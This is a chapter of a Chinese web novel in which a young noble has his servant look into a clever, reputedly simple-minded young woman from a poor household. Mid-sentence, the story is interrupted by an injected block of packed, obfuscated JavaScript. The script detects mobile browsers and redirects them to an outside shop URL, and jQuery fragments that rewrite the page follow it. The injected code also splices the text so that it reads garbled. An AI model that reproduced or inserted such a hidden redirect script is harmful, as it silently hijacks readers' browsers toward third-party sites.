顾九不明所以,书铺里除了书,还有什么更好的东西?
“公子买了什么,让小的看一眼呗。”顾九道。
顾文舟置之不理,只吩咐道:“去查一下刚刚从这出去的那位姑娘是什么身份。”
顾九想了想,问:“公子是说那位美若天仙的姑娘?”
顾文舟淡淡地嗯了一声。
顾九目光一转,从主子常年冷冰冰的一张脸上瞧出些别样的情绪。他当即掩住嘴,低声问道:“公子,你该不会……”
顾文舟睨了他一眼,呵斥道:“还不快去。”
顾九跟了他这么多年,怎会察觉不到主子沉稳面色下透漏出的一丝慌乱。他强压住嘴角的笑意,领命而去。
这还是主子第一次对姑娘家感兴趣,他一定给办妥了。
顾文舟平复了片刻,从怀里掏出刚刚买下的样纸。上面的字迹秀丽却不柔弱,自有一番章法,没想到那个能拦下马车讹钱的瞎眼女子能写出这么好的字。
顾文舟将样纸叠好收进怀里,大步回了顾国公府。
“顾,闻,觉。”顾国公顾承林瞧着疾走的儿子,出言将他唤住。
顾文舟脚步顿住,知道父亲想说什么,又想到自己现如今有了应对之策,便转了脚步朝他走去,“父亲。”
“坐下。”顾承林放下手中的茶盏,见儿子今日如此乖顺,语气也比往日里缓和了许多,“听说昨日太子向你提起了赵府的千金,你可应下了?”
顾文舟抿着近日的新茶,缓缓道:“未曾。”
顾承林眉头微蹙,瞧着儿子肖似亡妻的眉眼才堪堪压制住内心的怒火,“你也老大不小了,如今事业有成,是该考虑自己的亲事了。赵府千金性情温婉,品貌端正,与你十分相配。更何况,赵家和太子的关系,你不会不清楚吧?”
这番话顾文舟已经听得耳朵都起茧子了,他从容应付道:“父亲,我今年方才二十。听祖父说您这个年岁的时候还在上树掏鸟、下河摸鱼,怎得到我身上就老大不小了?”
顾承林噎住,又听他不紧不慢地说:“既说让我考虑自己的亲事,父亲为何日日指手画脚?今日让我去见那李府千金,明日又说吴家孙女如何如何,何曾让我自己考虑了?”
顾承林被气得气息不稳,下人连忙上前帮着拍抚后背。
顾文舟见父亲脸色难看,语气一转,“不过父亲也不用担心,我不会像您当初那样被祖父拿着扫帚赶去相看的。我已有了心仪的姑娘,过两日就去她家提亲。”
昨日太子叫他出去游玩,暗地里下药想叫他与赵家千金发生些什么。好在他及时发现,保住了自己的清誉。
如今只得在太子明说之前,了了自己的婚事,也好让他歇了心思,莫再使些下作手段。
顾承林见他不似随口糊弄,连忙问道:“是哪家的姑娘?”
哪家的姑娘……
顾文舟避开父亲殷切的视线,遮掩道:“到时您就知道了。”
“这有何不能告诉为父的,你快说说是哪家的姑娘,为父也好挑个日子登门拜访。切不可贸然上门提亲,给人爹娘留下冒失的印象。”
顾文舟此刻哪知道那姑娘是谁家,含混道:“我与她已说好了,到时尽管上门去。父亲您歇着吧,我还有事要忙,先走了。”
话落,顾文舟急匆匆走了。
“诶,你这……”见儿子远去,顾承林也不好再将人喊回来。他既说了到时尽管上门去,顾承林也就稍稍安心了。
“这两日是谁陪着公子的?”顾承林问。
一旁的下人想了想,道:“回老爷,是顾九。”
“顾九……是个只听闻觉话的,算了,你叫他过来,我得再问问。”
下人在府上寻了个遍,没有寻到顾九。
“不在府上,难不成又被闻觉派出去干什么了?”顾承林道,“等人回府了让他去我书房等着。”
“是。”
*
祝云绮走在回家的路上,总感觉背后有人跟着自己,可她转身去看,并未发现怪异的人。她假装走进一家胭脂铺,一边状似要买东西,一边留意身后的动静。
顾九藏身于暗处,暗自嘀咕:“这姑娘还挺机敏,幸亏我身手好。”
见祝云绮从胭脂铺出来,顾九又悄声跟了上去。
“云绮!”祝寻安兄弟俩刚下工,又看见小妹在街上,“这两日你怎么老往外跑?”
“大哥,二哥。”今日是去找正经活计干,没什么可隐瞒的,祝云绮让他们看自己拿到的小书,“我去东市了,接到个抄书的活计,比上次那家高了三文钱呢。”
“三文钱就值得你跑那么远?”祝寻安眼眸黑沉,但见小妹略显疲惫,不忍再多说什么,关切道:“脚疼不疼?”
“不疼,我饿了。大哥二哥,我们快回去吧。”祝云绮道。
“走吧,书给大哥拿着。”
顾九跟着三人转进永安巷,见她们走进一户人家后就悄无声息退了出去。
果然如他所料,这等长相的人少不了被周遭议论。还不待他细细打听,就有聚在一起闲聊的汉子妇人将他想知道的事情抖了出来。
“今儿祝家三兄妹怎么一道回来了。”
“谁知道呢,两兄弟许是下工了。祝云绮,又跑去哪玩了呗。”
“这祝老二该是不行了吧?”
“可不是呢,许久没见他出门了。”
“早死了也好,你瞧一家子被拖累的,祝家两兄弟一天干好几份零工,累死累活的。”
“话可不能这么说,那是人家亲爹,可不得想尽法子给他吊着命。倒是那祝云绮,祝老二养她十几年,没让她干过一丁点活。现下二叔病了,天天往外跑也不知道帮着照料照料,真是个没良心的。”
“哎,就她那脑子,别添乱就不错了。”
“万一这祝老二没了,祝云绮守孝出来不就十九了吗。”
“十九怎么了,虽然人家脑子不好使,可就凭那长相,还愁嫁不出去?”
“说得也是。”
……
顾九又使了几个铜子儿,将祝云绮的底细摸得一清二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495856|202498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楚。
“那姑娘姓祝,名云绮,‘云霞长若绮’的云绮,年方十八,家住西市永安巷第五户。父母早亡,被二叔二婶收养,家里还有两个兄长。”顾九细细禀告着探听来的消息,“据说祝姑娘二叔生了重病,家底都快被掏空了。”
顾九见主子脸色越来越复杂,问道:“公子,怎么了?”
“无事,你接着说。”顾文舟只是想起祝云绮昨日讹钱的举措,原是为了给二叔治病,倒是个知恩的。
“小的还听说,十二年前西市发生过一起谋杀案,被年幼的祝姑娘看见了,从那之后她就和寻常人不大一样了。”
“怎么个不大一样?”顾文舟问。
昨日拦马车还知道给自己裹厚实点,瞧着挺机灵的。除了眼睛不好使,顾文舟倒真没发觉她脑子有问题。
“据说有一年冬天,祝姑娘堆的雪人被一顽劣小儿推倒了,她连着一个月往人家窗子里扔雪球。”顾九双手比划着,“这么大的雪球,天天扔,要不是只下了一个月的雪,邻里们都说她能一直扔下去。”
顾文舟没忍住笑,见顾九看过来,忙恢复了面无表情的模样,“还有呢?”
“还有一件趣事,永安巷子里头有个汉子叫张三,想娶祝姑娘,托了媒人上门提亲……”
“她有婚事在身?”
“……公子你别着急,听小的把话说完。”
顾文舟垂下眼帘,掩饰般地端起茶杯喝了一口,“接着说。”
“祝姑娘不喜欢那张三,给拒了。”
“那人纠缠她了?”
“……公子。”
顾文舟又喝了口茶。
“张三倒也没纠缠,只是另有一孙姑娘仰慕他,觉着祝姑娘伤了他的心,想替张三出头。那孙姑娘便将祝姑娘约了出去,质问她为何拒绝张三。祝姑娘问‘那我当如何?’。孙姑娘说‘三哥喜欢你,是你的荣幸,你必须嫁给他’。”
听到这话,顾文舟脸色陡然一沉,握着茶杯的手不自觉加重了几分力道。
顾九接着道:“祝姑娘只点点头就走了,自那之后,凡是有上门提亲,祝姑娘必说‘孙姐姐说了,嫁给张三才是我的荣幸,你不配。’”
“她当真这么说的?”顾文舟问。
“当真,还有呢……”
祝云绮这话传得人尽皆知,不少汉子听后对孙蓉心生不满,质问她:“我哪里不如张三了?你在云绮耳边乱嚼什么舌根?”
孙蓉被气得不行,跑到祝家问自己何时说过那番话。
祝云绮道:“‘三哥喜欢你,是你的荣幸’,这话是不是你说的?你说我必须嫁给他,难道不就是说其他人不如张三,都配不上我?”
张三和孙蓉闹了好大个没脸,没多久就从永安巷搬走了。
“她这人倒真是有趣。”顾文舟缓缓道,“还打探到了什么?”
“没了。”顾九道。
“没了?”
“公子,你何时这样过问过别人,莫不是真对这祝姑娘有什么想法?”
顾文舟嘁了一声。